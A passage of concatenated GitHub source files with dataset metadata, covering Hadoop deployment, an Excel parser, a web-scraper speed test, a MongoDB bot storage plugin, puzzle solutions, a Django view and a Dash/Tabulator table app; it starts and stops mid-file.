args.yarn_config.configuration.generated_files[\"mapred-site.xml\"]\n  yarn_site_dict = args.yarn_config.configuration.generated_files[\"yarn-site.xml\"]\n\n  hadoop_opts = list()\n  for key, value in core_site_dict.iteritems():\n    hadoop_opts.append(\"-D%s%s=%s\" % (deploy_utils.HADOOP_PROPERTY_PREFIX,\n          key, value))\n  for key, value in hdfs_site_dict.iteritems():\n    hadoop_opts.append(\"-D%s%s=%s\" % (deploy_utils.HADOOP_PROPERTY_PREFIX,\n          key, value))\n  for key, value in mapred_site_dict.iteritems():\n    hadoop_opts.append(\"-D%s%s=%s\" % (deploy_utils.HADOOP_PROPERTY_PREFIX,\n          key, value))\n  for key, value in yarn_site_dict.iteritems():\n    hadoop_opts.append(\"-D%s%s=%s\" % (deploy_utils.HADOOP_PROPERTY_PREFIX,\n          key, value))\n\n  if deploy_utils.is_security_enabled(args):\n    hadoop_opts.append(\n        \"-Djava.security.krb5.conf=%s/krb5-hadoop.conf\" %\n        deploy_utils.get_config_dir())\n\n  package_root = deploy_utils.get_artifact_package_root(args,\n      args.yarn_config.cluster, \"hadoop\")\n  lib_root = \"%s/share/hadoop\" % package_root\n  class_path = \"%s/etc/hadoop\" % package_root\n  for component in [\"common\", \"hdfs\", \"mapreduce\", \"yarn\"]:\n    component_dir = \"%s/%s\" % (lib_root, component)\n    class_path += \":%s/:%s/*:%s/lib/*\" % (component_dir,\n        component_dir, component_dir)\n\n  cmd = ([\"java\", \"-cp\", class_path] + hadoop_opts +\n      [main_class] + options)\n  p = subprocess.Popen(cmd, stdout=sys.stdout, stderr=sys.stderr)\n  p.wait()\n\ndef generate_client_config(args, artifact, version):\n  config_path = \"%s/%s/%s-%s/etc/hadoop\" % (args.package_root,\n      args.cluster, artifact, version)\n  deploy_utils.write_file(\"%s/mapred-site.xml\" % config_path,\n      deploy_utils.generate_site_xml(args,\n        args.yarn_config.configuration.generated_files[\"mapred-site.xml\"]))\n  deploy_utils.write_file(\"%s/yarn-site.xml\" % config_path,\n      deploy_utils.generate_site_xml(args,\n        args.yarn_config.configuration.generated_files[\"yarn-site.xml\"]))\n  deploy_utils.write_file(\"%s/krb5.conf\" % config_path,\n      args.yarn_config.configuration.raw_files[\"krb5.conf\"])\n  deploy_hdfs.update_hadoop_env_sh(args, artifact, version, \"YARN_OPTS\")\n\ndef pack(args):\n  get_yarn_service_config(args)\n  args.yarn_config.parse_generated_config_files(args)\n  version = args.yarn_config.cluster.version\n  deploy_utils.make_package_dir(args, \"hadoop\", args.yarn_config.cluster)\n  args.hdfs_config.parse_generated_config_files(args)\n  deploy_hdfs.generate_client_config(args, \"hadoop\", version)\n  generate_client_config(args, \"hadoop\", version)\n\n  if not args.skip_tarball:\n    deploy_utils.pack_package(args, \"hadoop\", args.yarn_config.cluster.version)\n  Log.print_success(\"Pack client utilities for hadoop success!\\n\")\n\ndef rolling_update(args):\n  if not args.job:\n    Log.print_critical(\"You must specify the job name to do rolling update\")\n\n  get_yarn_service_config(args)\n  job_name = args.job[0]\n\n  if not args.skip_confirm:\n    deploy_utils.confirm_action(args, \"rolling_update\")\n\n  Log.print_info(\"Rolling updating %s\" % job_name)\n  hosts = args.yarn_config.jobs[job_name].hosts\n  wait_time = 0\n\n  args.task_map = deploy_utils.parse_args_host_and_task(args, hosts)\n  for host_id in args.task_map.keys() or hosts.iterkeys():\n    for instance_id in args.task_map.get(host_id) or range(hosts[host_id].instance_num):\n      instance_id = -1 if not deploy_utils.is_multiple_instances(host_id, hosts) else instance_id\n      deploy_utils.confirm_rolling_update(host_id, instance_id, wait_time)\n      stop_job(args, hosts[host_id].ip, job_name, instance_id)\n      deploy_utils.wait_for_job_stopping(\"yarn\",\n        args.yarn_config.cluster.name, job_name, hosts[host_id].ip, instance_id)\n      start_job(args, hosts[host_id].ip, job_name, host_id, instance_id)\n      deploy_utils.wait_for_job_starting(\"yarn\",\n        args.yarn_config.cluster.name, job_name, hosts[host_id].ip, instance_id)\n      wait_time = args.time_interval\n  Log.print_success(\"Rolling updating %s success\" % job_name)\n\nif __name__ == '__main__':\n  test()\n","repo_name":"XiaoMi/minos","sub_path":"client/deploy_yarn.py","file_name":"deploy_yarn.py","file_ext":"py","file_size_in_byte":12940,"program_lang":"python","lang":"en","doc_type":"code","stars":520,"dataset":"github-code","pt":"37"}
+{"seq_id":"11470825317","text":"import pandas as pd\nfrom constants import SHEETS_PRODUCAO\nfrom common import Commons\n\n\nclass ProducaoDf:\n    def collect_data(self, file_list):\n        producao_df_list = []\n\n        for file in file_list:\n            print(file)\n            for sheet in SHEETS_PRODUCAO:\n                try:\n                    df = Commons().find_sheet(file, sheet)\n                except ValueError:\n                    print(f'{file} - Não possui a Aba: ', sheet)\n                    continue\n                \n                start_row = self.find_usina_producao(df)\n                df = self.create_producao_df(df, start_row)\n                df['producao'] = sheet.split(' ')[-1]\n                df['data_diario'] = self.get_file_date(file)\n                producao_df_list.append(df)\n\n        return producao_df_list\n\n\n    def find_usina_producao(self, df):\n        for df_row, cell_text in enumerate(df[df.columns[0]]):\n            if type(cell_text) == str and cell_text == 'Usina':\n                start_row = df_row+1\n                break\n        return start_row\n\n    def create_producao_df(self, df, start_row):\n        df = df.iloc[start_row:, 0:5]\n        df.columns = ['Usina', 'Código ONS', 'Programado (MWmed)', 'Verificado (MWmed)', 'Desvio %']\n        return df\n    \n    def open_file(self, file, sheet):\n        return pd.read_excel(f'./input/{file}', sheet_name=sheet)\n\n    def get_file_date(self, file):\n        day, month, year = file[7:17].split('-')\n        data_diario = year+'-'+month+'-'+day\n        return data_diario","repo_name":"VViniLLima/boletim_diario_da_operacao","sub_path":"producao.py","file_name":"producao.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"8648566181","text":"from ast import Continue\nimport requests\nfrom bs4 import BeautifulSoup\nimport time\n\ndef time_function(f):\n    def wrapper(*args, **kwargs):\n        start_time = time.time()\n        result = f(*args, **kwargs)\n        end_time = time.time() - start_time\n        print(\"{} {} time {}\".format(f.__name__, args[1], end_time))\n        return result\n    return wrapper\n\n@time_function\ndef r_fild_all(url, parser):\n    r = requests.get(url)\n    bs = BeautifulSoup(r.text, parser)\n    lists = bs.find_all(\"li\")\n\n    titles = []\n    for li in lists:\n        if li.select(\"a.link_news_end\") != []:\n            title = li.select(\"a.link_news_end\")[0].text\n            titles.append(title)\n    return titles\n\n@time_function\ndef r_select(url, parser):\n    r = requests.get(url)\n    bs = BeautifulSoup(r.text, parser)\n\n    lists = bs.find_all(\"li\")\n\n    titles = []\n    for li in lists:\n        if li.select(\"a.link_news_end\") != []:\n            title = li.select(\"a.link_news_end\")[0].text\n            titles.append(title)\n    return titles\n\nurl = \"https://sports.news.naver.com/wfootball/index\"\nr_fild_all(url, \"html.parser\")\nr_select(url, \"html.parser\")\n\nr_fild_all(url, \"lxml\")\nr_select(url, \"lxml\")\n\n'''\nr = requests.get(\"https://sports.news.naver.com/wfootball/index\")\n#bs = BeautifulSoup(r.text, \"html.parser\")\nbs = BeautifulSoup(r.text, \"lxml\") #속도에서 더 빠름\n\n\nmain_title = bs.find_all(\"h2\", {\"class\":\"news_title\"})\nprint(\"----------{}----------\".format(main_title[0].text))\n\n# lists = bs.find_all(\"li\")\n# for li in lists:\n#     if li.find(\"a\", {\"class\":\"link_news_end\"}) == None:\n#         Continue\n#     else:\n#         title = li.find(\"a\", {\"class\":\"link_news_end\"}).text\n#         print(title)\n\n\nlists = bs.select(\"li\")\nfor li in lists:\n    if li.select(\"a.link_news_end\") != []:\n        title = li.select(\"a.link_news_end\")[0].text\n        count = li.select(\"span.number\")[0].text\n        print(\"{}. {}\".format(count,title))\n        print(\"\\n\")\nprint(\"----------{}----------\".format(\"종료\"))\n'''","repo_name":"yhy5568/python_test","sub_path":"09.크롤링/naver_keywords_speed.py","file_name":"naver_keywords_speed.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23483273113","text":"import fileutils as ft\nfrom dotdict import dotdict\n\nattr_actions = (\n    ('sample_name_lookup',lambda n: ft.to_dict('%s.samplenames' % (n,),'=')),\n    ('common_proteins',lambda n: ft.to_list('%s.cellular.common' % (n,),'|')),\n)\n\ndef to_experiment_args(experiment_name):\n    res = {}\n    res['filename'] = ft.msdata_filename(experiment_name,'csv')\n    for attr_name, action in attr_actions:\n        res[attr_name] = action(experiment_name)\n    return dotdict(res)\n","repo_name":"s164254/Master-thesis","sub_path":"args.py","file_name":"args.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"5143915655","text":"# -*- coding: utf-8 -*-\n# Author: Vladimir Pichugin <vladimir@pichug.in>\n\nfrom handler.base_plugin import BasePlugin\n\nimport time, datetime\nimport motor.motor_asyncio\n\n\nclass sdict(dict):\n    \"\"\"Dictionary with field `changed`. `changed` is True when any element was\n    accessed.\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self.changed = False\n        super().__init__(*args, **kwargs)\n\n    def __getitem__(self, item):\n        self.changed = True\n        return super().__getitem__(item)\n\n    def __setitem__(self, item, value):\n        self.changed = True\n        return super().__setitem__(item, value)\n\n    def __delitem__(self, item):\n        self.changed = True\n        super().__delitem__(item)\n\n    def getraw(self, item, default=None):\n        try:\n            return super().__getitem__(item)\n        except KeyError:\n            return default\n\n    def setraw(self, item, value):\n        super().__setitem__(item, value)\n\n    def delraw(self, item):\n        super().__delitem__(item)\n\n\nclass StoragePlugin(BasePlugin):\n    __slots__ = (\"client\", \"database\", \"users\", \"chats\", \"bot_stats\", \"users_plus\",\n        \"meta\", \"cached_meta\",\n    )\n\n    def __init__(self, host=\"localhost\", port=27017, database=\"hypebot\", username=None, password=None):\n        \"\"\"Allows users and chats to store persistent data with MongoDB or in\n        memory. Both storages are siuated in `meta` as `data_user` and\n        `data_chat` and represented as dictionary with possible basic values\n        (dict, list, tuple, int, float, str, bool). On the beggining theese\n        fields are populated and after message processing it is saved to\n        database.\n\n        Data is saved only if was acessed. You can use `sdict`'s methods and\n        field `changed` for accessing data without saving it.\"\"\"\n\n        super().__init__()\n\n        self.order = (-100, 100)\n\n        self.client = motor.motor_asyncio.AsyncIOMotorClient(host, port, username=username, password=password)\n\n        self.database = self.client[database]\n\n        self.users = self.database[\"users\"]\n        self.chats = self.database[\"chats\"]\n        self.meta = self.database[\"meta\"]\n        self.bot_stats = self.database[\"stats\"]\n        self.users_plus = self.client[\"plus\"][\"clients\"]\n\n        self.cached_meta = None\n\n    async def _save(self, xid, d, x):\n        if isinstance(xid, str):\n            xid = int(xid)\n\n        if xid == 0 or not d or not d.changed:\n            return None\n\n        if \"id\" not in d:\n            d[\"id\"] = xid\n\n        if \"_id\" not in d:\n            return await x.insert_one(d)\n\n        old_ver = d[\"_version\"]\n        d[\"_version\"] += 1\n\n        res = await x.replace_one({\"_id\": {\"$eq\": d[\"_id\"]},\n            \"_version\": {\"$eq\": old_ver}}, d)\n\n        if res.modified_count == 0:\n            return False\n\n        return True\n\n    async def save_user(self, user_id, data):\n        #self.api.logger.debug(f\"save_user: {user_id}, {data}\")\n        return await self._save(user_id, data, self.users)\n\n    async def save_chat(self, peer_id, data):\n        #self.api.logger.debug(f\"save_chat: {peer_id}, {data}\")\n        \n        # todo\n        \n        return await self._save(peer_id, data, self.chats)\n    \n    async def save_bot_stats(self, data):\n        #self.api.logger.debug(f\"save_bot_stats: {data}\")\n        return await self._save(int(datetime.datetime.today().strftime(\"%m%Y\")), data, self.bot_stats)\n\n    async def _load(self, xid, x, xid_key=\"id\"):\n        if isinstance(xid, str):\n            xid = int(xid)\n\n        if xid == 0:\n            return None\n\n        return sdict(await x.find_one({xid_key: {\"$eq\": xid}}) or\n            {xid_key: xid, \"_version\": 0})\n\n    async def load_user(self, user_id):\n        #self.api.logger.debug(f\"load_user: {user_id}\")\n        return await self._load(user_id, self.users)\n\n    async def load_chat(self, peer_id):\n        #self.api.logger.debug(f\"load_chat: {peer_id}\")\n        return await self._load(peer_id, self.chats)\n\n    async def load_meta(self, segment=\"main\"):\n        #self.api.logger.debug(f\"segment: {segment}\")\n        if self.cached_meta:\n            self.cached_meta.changed = False\n            return self.cached_meta\n\n        self.cached_meta = sdict(await self.meta.find_one({\"_name\": {\"$eq\": segment}}) or\n            {\"_name\": segment, \"_version\": 0})\n\n        self.cached_meta.show = True\n\n        return self.cached_meta\n    \n    async def load_bot_stats(self):\n        #self.api.logger.debug(f\"load_bot_stats\")\n        return await self._load(int(datetime.datetime.today().strftime(\"%m%Y\")), self.bot_stats)\n        \n    async def load_user_plus(self, from_id):\n        #self.api.logger.debug(f\"load_user_plus: {from_id}\")\n        return await self._load(from_id, self.users_plus, \"_id\")\n\n    async def save_meta(self, d, segment=\"main\"):\n        if not d or not d.changed:\n            return\n\n        self.cached_meta = None\n\n        if \"_id\" not in d:\n            return await self.meta.insert_one(d)\n\n        old_ver = d[\"_version\"]\n        d[\"_version\"] += 1\n\n        res = await self.meta.replace_one({\"_name\": {\"$eq\": segment},\n            \"_version\": {\"$eq\": old_ver}}, d)\n\n        if res.modified_count == 0:\n            return False\n\n        return True\n\n    def prepare_ctrl(self, entity):\n        async def _1l():\n            return await self.load_meta()\n        async def _1s(d):\n            return await self.save_meta(d)\n\n        if hasattr(entity, \"user_id\") and entity.user_id > 0:\n            async def _3l():\n                return await self.load_user(entity.user_id)\n\n            async def _3s(d):\n                return await self.save_user(entity.user_id, d)\n        else:\n            _3l = None\n            _3s = None\n\n        if hasattr(entity, \"peer_id\"):\n            async def _2l():\n                return await self.load_chat(entity.peer_id)\n\n            async def _2s(d):\n                return await self.save_chat(entity.peer_id, d)\n        else:\n            _2l = None\n            _2s = None\n        \n        async def _4l():\n            return await self.load_bot_stats()\n        \n        async def _4s(d):\n            return await self.save_bot_stats(d)\n        \n        if hasattr(entity, \"from_id\") and entity.user_id > 0:\n            async def _5l():\n                return await self.load_user_plus(entity.from_id)\n        else:\n            _5l = None\n\n        return {\n            \"load_meta\": _1l,\n            \"save_meta\": _1s,\n            \"load_chat\": _2l,\n            \"save_chat\": _2s,\n            \"load_user\": _3l,\n            \"save_user\": _3s,\n            \"load_bot_stats\": _4l,\n            \"save_bot_stats\": _4s,\n            \"load_user_plus\": _5l\n        }\n\n    async def global_before_message_checks(self, msg):\n        msg.meta[\"mongodb_client\"] = self.client\n\n        msg.meta[\"data_ctrl\"] = self.prepare_ctrl(msg)\n\n        msg.meta[\"data_meta\"] = await self.load_meta()\n        msg.meta[\"data_user\"] = await self.load_user(msg.user_id)\n        msg.meta[\"data_chat\"] = await self.load_chat(msg.peer_id) if \\\n            msg.is_chat else None\n        msg.meta[\"data_user_plus\"] = await self.load_user_plus(msg.from_id)\n\n    async def global_before_event_checks(self, evnt):\n        evnt.meta[\"mongodb_client\"] = self.client\n\n        evnt.meta[\"data_ctrl\"] = self.prepare_ctrl(evnt)\n        \n        evnt.meta[\"data_meta\"] = await self.load_meta()\n        \n        if evnt.msg.is_chat:\n            evnt.meta[\"data_chat\"] = await self.load_chat(evnt.peer_id)\n            evnt.meta[\"data_user\"] = None\n        else:\n            evnt.meta[\"data_chat\"] = None\n            evnt.meta[\"data_user\"] = await self.load_user(evnt.user_id)\n\n    async def save_target_meta(self, entity):\n        ctrl = entity.meta[\"data_ctrl\"]\n        \n        if ctrl[\"save_meta\"]:\n            await ctrl[\"save_meta\"](entity.meta[\"data_meta\"])\n\n        if ctrl[\"save_user\"]:\n            await ctrl[\"save_user\"](entity.meta[\"data_user\"])\n        \n        if ctrl[\"save_chat\"] and entity.meta[\"data_chat\"]:\n            await ctrl[\"save_chat\"](entity.meta[\"data_chat\"])\n\n    async def global_after_message(self, msg, plugin, result):\n        ctrl = msg.meta[\"data_ctrl\"]\n        \n        data = await ctrl[\"load_bot_stats\"]()\n        \n        if data == None:\n            data = {}\n        \n        if \"plugins\" not in data:\n            data[\"plugins\"] = {}\n        plugins = data[\"plugins\"]\n        \n        if plugin.name not in plugins:\n            plugins[plugin.name] = {\"history\": []}\n            \n        obj = {}\n        \n        obj[\"timestamp\"] = int(time.time())\n        \n        obj[\"message\"] = {\n            \"peer_id\": msg.peer_id,\n            \"from_id\": msg.from_id,\n            \"full_text\": msg.full_text,\n            \"payload\": msg.payload,\n            \"timestamp\": int(msg.date)\n        }\n        \n        if hasattr(plugin, \"game\"):\n            obj[\"plugin_info\"] = {\"game\": plugin.game}\n        \n        plugins[plugin.name][\"history\"].append(obj)\n        \n        await ctrl[\"save_bot_stats\"](data)\n            \n    async def global_after_message_process(self, msg, result):\n        await self.save_target_meta(msg)\n\n    async def global_after_event_process(self, evnt, result):\n        await self.save_target_meta(evnt)\n","repo_name":"vladimirpichugin/HypixelBot","sub_path":"plugins/technical/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":9243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"20385921192","text":"import sys\r\n\r\nx,y = map(int, sys.stdin.readline().split())\r\n# x 경기수\r\n# y 승리수\r\n\r\nz = (y * 100) / x\r\nz = int(z)\r\n\r\n\r\nif z >= 99 :\r\n    print(-1)\r\nelse :\r\n    r = 0\r\n    left = 1\r\n    right = x\r\n    while left <= right :\r\n        mid = (left + right) // 2\r\n        if int(((y+mid) * 100) / (x+mid)) <= z :\r\n            left = mid +1\r\n        else :\r\n            r = mid\r\n            right = mid -1\r\n    print(r)    \r\n        \r\n\r\n\r\n\r\n\r\n","repo_name":"yundevingV/Algorithm_","sub_path":"Python/1072_게임.py","file_name":"1072_게임.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"39995695604","text":"import os\n\nclass Group:\n\n    def __init__(self):\n        self.children = []\n\n\nclass Garbage:\n\n    def __init__(self):\n        self.characters = \"\"\n\n    def count(self):\n        ignore = False\n        n = 0\n        for char in self.characters[1:-1]:\n            if ignore:\n                ignore = False\n                continue\n            elif char == \"!\":\n                ignore = True\n            else:\n                n += 1\n        return n\n\n\ndef parse(iterator):\n    ignore = False\n    result = None\n    current = None\n    stack = []\n    for char in iterator:\n        if stack and isinstance(stack[-1], Garbage):\n            stack[-1].characters += char\n            if ignore:\n                ignore = False\n                continue\n            if char == \"!\":\n                ignore = True\n\n            elif char == \">\":\n                if stack:\n                    garbage = stack.pop()\n                    stack[-1].children.append(garbage)\n        else:\n            if char == \"{\":\n                new = Group()\n                if stack:\n                    stack[-1].children.append(new)\n                stack.append(new)\n\n            elif char == \"<\":\n                new = Garbage()\n                new.characters += char\n                stack.append(new)\n\n            elif char == \"}\":\n                if stack:\n                    result = stack.pop()\n\n            elif char == \",\":\n                pass\n\n    return result\n\ndef score(root, n=1):\n    childscore = 0\n    for child in root.children:\n        if isinstance(child, Group):\n            childscore += score(child, n+1)\n    return n + childscore\n\ndef count_garbage(root, n=0):\n    childcount = 0\n    for child in root.children:\n        if isinstance(child, Group):\n            childcount += count_garbage(child)\n        else:\n            childcount += child.count()\n    return childcount\n\ndef tests():\n    rv = parse(iter(\"{}\"))\n    assert isinstance(rv, Group) and len(rv.children) == 0\n\n    rv = parse(iter(\"{{{}}}\"))\n    assert (isinstance(rv, Group)\n            and len(rv.children) == 1\n            and isinstance(rv.children[0], Group)\n            and len(rv.children[0].children) == 1\n            and isinstance(rv.children[0].children[0], Group))\n\n    rv = parse(iter(\"{{},{}}\"))\n    assert (isinstance(rv, Group)\n            and len(rv.children) == 2\n            and all(isinstance(child, Group) for child in rv.children))\n\n    rv = parse(iter(\"{{{},{},{{}}}}\"))\n    assert (isinstance(rv, Group)\n            and len(rv.children) == 1\n            and isinstance(rv.children[0], Group)\n            and len(rv.children[0].children) == 3\n            and all(isinstance(child, Group) for child in rv.children[0].children)\n            and len(rv.children[0].children[-1].children) == 1\n            and isinstance(rv.children[0].children[-1].children[0], Group))\n\n    rv = parse(iter(\"{<{},{},{{}}>}\"))\n    assert isinstance(rv, Group) and len(rv.children) == 1 and isinstance(rv.children[0], Garbage)\n\n    rv = parse(iter(\"{<a>,<a>,<a>,<a>}\"))\n    assert isinstance(rv, Group) and len(rv.children) == 4 and all(isinstance(child, Garbage) for child in rv.children)\n\n    rv = parse(iter(\"{{<a>},{<a>},{<a>},{<a>}}\"))\n    assert isinstance(rv, Group) and len(rv.children) == 4 and all(isinstance(child, Group) for child in rv.children)\n\n    rv = parse(iter(\"{{<!>},{<!>},{<!>},{<a>}}\"))\n    assert isinstance(rv, Group) and len(rv.children) == 1 and isinstance(rv.children[0], Group)\n\n    assert score(parse(iter(\"{}\"))) == 1\n    assert score(parse(iter(\"{{{}}}\"))) == 6\n    assert score(parse(iter(\"{{},{}}\"))) == 5\n    assert score(parse(iter(\"{{{},{},{{}}}}\"))) == 16\n    assert score(parse(iter(\"{<a>,<a>,<a>,<a>}\"))) == 1\n    assert score(parse(iter(\"{{<ab>},{<ab>},{<ab>},{<ab>}}\"))) == 9\n    assert score(parse(iter(\"{{<!!>},{<!!>},{<!!>},{<!!>}}\"))) == 9\n    assert score(parse(iter(\"{{<a!>},{<a!>},{<a!>},{<ab>}}\"))) == 3\n\n    # my parser doesn't handle Garbage-only strings.\n    assert count_garbage(parse(iter(\"{<>}\"))) == 0\n    assert count_garbage(parse(iter(\"{<random characters>}\"))) == 17\n    assert count_garbage(parse(iter(\"{<<<<>}\"))) == 3\n    assert count_garbage(parse(iter(\"{<{!>}>}\"))) == 2\n    assert count_garbage(parse(iter(\"{<!!>}\"))) == 0\n    assert count_garbage(parse(iter(\"{<!!!>>}\"))) == 0\n    assert count_garbage(parse(iter(\"\"\"{<{o\"i!a,<{i<a>}\"\"\"))) == 10\n\ndef main():\n    tests()\n\n    inputstr = open(os.path.join(os.path.dirname(__file__), \"input.txt\")).read()\n\n    print(\"part 1: %s\" % (score(parse(iter(inputstr))), ))\n    print(\"part 2: %s\" % (count_garbage(parse(iter(inputstr))), ))\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"hitbox/scratch","sub_path":"adventofcode/aoc2017/d09/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37254192957","text":"from django.shortcuts import render, get_object_or_404, redirect, reverse\nfrom profiles.models import UserProfile\nfrom django.db.models import Q\n# Create your views here.\n\ndef all_users(request):\n    \"\"\" View to render the menu page \"\"\"\n\n    users = UserProfile.objects.all()\n    if request.GET:\n\n       if 'q' in request.GET:\n            query = request.GET['q']\n\n            queries = Q(name__icontains=query)\n        \n            users = users.filter(queries)\n\n\n    context = {\n        'users': users,\n    }\n    return render(request, 'allusers/allusers.html', context)","repo_name":"elliemcavoy/zolsha-loyalty","sub_path":"allusers/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"74958536107","text":"class Solution:\n    def countPrefixes(self, words: List[str], s: str) -> int:\n        res = 0\n        for i in words:\n            if s.startswith(i):\n                res +=1\n        return res\n\n\n\n        # c = 0\n        # for i in words:\n        #     n = len(i)\n        #     if s[0:n] == i:\n        #         c +=1\n        # return c\n        \n# Input: words = [\"a\",\"b\",\"c\",\"ab\",\"bc\",\"abc\"], s = \"abc\"\n# Output: 3\n\n# Input: words = [\"a\",\"b\",\"c\",\"ab\",\"bc\",\"abc\"], s = \"abc\"\n# Output: 3\n# Input: words = [\"a\",\"a\"], s = \"aa\"\n# Output: 2","repo_name":"sujitsaroj9519/leetcode","sub_path":"countprefixofgivenstring.py","file_name":"countprefixofgivenstring.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35530187935","text":"#!/usr/bin/env python3\n# coding: utf-8\n\nimport os\n\nimport dash_bootstrap_components as dbc\nfrom dash import Dash, Input, Output, State, dcc, html, page_container\nfrom flask import Flask\n\nserver = Flask(__name__)\n\napp = Dash(\n    __name__,\n    server=server,\n    title=\"Dash Data Tables\",\n    update_title=\"Refreshing Dash Data Tables ...\",\n    use_pages=True,\n    suppress_callback_exceptions=True,\n    external_stylesheets=[\n        dbc.themes.SKETCHY,\n        \"assets/datatables.min.css\",\n        \"assets/tabulator.min.css\",\n    ],\n    external_scripts=[\n        \"assets/datatables.min.js\",\n        \"assets/tabulator.min.js\",\n        \"assets/ag-grid-community.min.js\",\n        \"assets/xlsx.full.min.js\",\n        \"assets/jspdf.min.js\",\n        \"assets/jspdf.plugin.autotable.js\",\n    ],\n    meta_tags=[\n        {\"charset\": \"utf-8\"},\n        {\"name\": \"viewport\", \"content\": \"width=device-width, initial-scale=1, shrink-to-fit=no\"},\n    ],\n)\n\nbrand_bar = dbc.Col(\n    children=[\n        dbc.Row(\n            html.H1(\n                children=[\n                    dcc.Link(\n                        children=\"Dash Data Tables\",\n                        href=\"/home\",\n                        style={\"text-decoration\": \"none\"},\n                    )\n                ],\n                style={\"text-align\": \"center\", \"height\": \"50px\"},\n            ),\n        ),\n    ],\n    class_name=\"d-grid gap-2 col-6 mx-auto\",\n)\n\nnav_bar = dbc.NavbarSimple(\n    id=\"main_menu\",\n    fluid=True,\n    links_left=True,\n    style={\"height\": \"50px\"},\n    children=[\n        dbc.NavItem(\n            dbc.NavLink(\n                \"Table\",\n                id=\"main_menu_table\",\n                href=\"/table\",\n                active=True,\n            )\n        ),\n        dbc.NavItem(\n            dbc.NavLink(\n                \"Datatable\",\n                id=\"main_menu_datatable\",\n                href=\"/datatable\",\n                active=True,\n            )\n        ),\n        dbc.NavItem(\n            dbc.NavLink(\n                \"GO Table\",\n                id=\"main_menu_gotable\",\n                href=\"/gotable\",\n                active=True,\n            )\n        ),\n        dbc.NavItem(\n            dbc.NavLink(\n                \"Tabulator JS\",\n                id=\"main_menu_tabulator_js\",\n                href=\"/tabulator_js\",\n                active=True,\n            )\n        ),\n        dbc.NavItem(\n            dbc.NavLink(\n                \"Dash Tabulator\",\n                id=\"main_menu_dash_tabulator\",\n                href=\"/dash_tabulator\",\n                active=True,\n            )\n        ),\n        dbc.NavItem(\n            dbc.NavLink(\n                \"AG-Grid\",\n                id=\"main_menu_aggrid\",\n                href=\"/aggrid\",\n                active=True,\n            )\n        ),\n    ],\n)\n\napp.layout = dbc.Container(\n    children=[\n        brand_bar,\n        nav_bar,\n        page_container,\n    ],\n)\n\n\napp.clientside_callback(\n    \"\"\"\n        function html_table(loading_state) {\n            new DataTable(document.querySelector(\"#data_tables\"));\n            return([0]);\n        }\n    \"\"\",\n    [\n        Output(\"data_tables\", \"n_clicks\"),\n    ],\n    [\n        Input(\"data_tables\", \"loading_state\"),\n    ],\n)\n\n\napp.clientside_callback(\n    \"\"\"\n        function tabulator_show(loading_state, bt_csv, bt_json, bt_xlsx, bt_pdf, bt_html) {\n            var table = new Tabulator(document.querySelector(\"#tabulator_js\"), {\n                pagination: \"local\",\n                paginationSize: 7,\n                paginationSizeSelector: [3, 5, 7, 9, 11, true],\n                resizableColumns: \"header\",\n                groupBy: \"col\",\n                selectable: 1,\n                downloadButtonType: {\"css\": \"btn btn-primary\", \"text\": \"Export to xlsx\", \"type\": \"xlsx\"},\n                clearFilterButtonType: {\"css\": \"btn btn-outline-dark\", \"text\": \"Clear Filters\"},\n                columns: [\n                    {\"title\": \"Name\", \"field\": \"name\", \"width\": 150, \"headerFilter\": true, \"editor\": \"input\"},\n                    {\"title\": \"Age\", \"field\": \"age\", \"hozAlign\": \"left\", \"formatter\": \"progress\"},\n                    {\"title\": \"Favourite Color\", \"field\": \"col\", \"headerFilter\": true},\n                    {\"title\": \"Date Of Birth\", \"field\": \"dob\", \"hozAlign\": \"center\"},\n                    {\"title\": \"Rating\", \"field\": \"rating\", \"hozAlign\": \"center\", \"formatter\": \"star\"},\n                    {\"title\": \"Passed?\", \"field\": \"passed\", \"hozAlign\": \"center\", \"formatter\": \"tickCross\"},\n                ],\n                data: [\n                    {\"id\": 1, \"name\": \"Oli Bob\", \"age\": \"12\", \"col\": \"red\", \"dob\": \"\"},\n                    {\"id\": 2, \"name\": \"Mary May\", \"age\": \"1\", \"col\": \"blue\", \"dob\": \"14/05/1982\"},\n                    {\"id\": 3, \"name\": \"Christine Lobowski\", \"age\": \"42\", \"col\": \"green\", \"dob\": \"22/05/1982\"},\n                    {\"id\": 4, \"name\": \"Brendon Philips\", \"age\": \"125\", \"col\": \"orange\", \"dob\": \"01/08/1980\"},\n                    {\"id\": 5, \"name\": \"Margret Marmajuke\", \"age\": \"16\", \"col\": \"yellow\", \"dob\": \"31/01/1999\"},\n                    {\"id\": 6, \"name\": \"Fred Savage\", \"age\": \"16\", \"col\": \"yellow\", \"rating\": \"1\", \"dob\": \"31/01/1999\"},\n                    {\"id\": 6,\"name\": \"Brie Larson\",\"age\": \"30\",\"col\": \"blue\",\"rating\": \"1\",\"dob\": \"31/01/1999\"},\n                ],\n            });\n            \n            //trigger download of data.csv file\n            if (bt_csv == 1) {\n                table.download(\"csv\", \"data.csv\");\n            };\n            \n            \n            //trigger download of data.json file\n            if (bt_json == 1) {\n                table.download(\"json\", \"data.json\");\n            };\n\n            //trigger download of data.xlsx file\n            if (bt_xlsx == 1) {\n                table.download(\"xlsx\", \"data.xlsx\", {sheetName:\"My Data\"});\n            };\n\n            //trigger download of data.pdf file\n            if (bt_pdf == 1) {\n                table.download(\"pdf\", \"data.pdf\", {\n                    orientation:\"portrait\", //set page orientation to 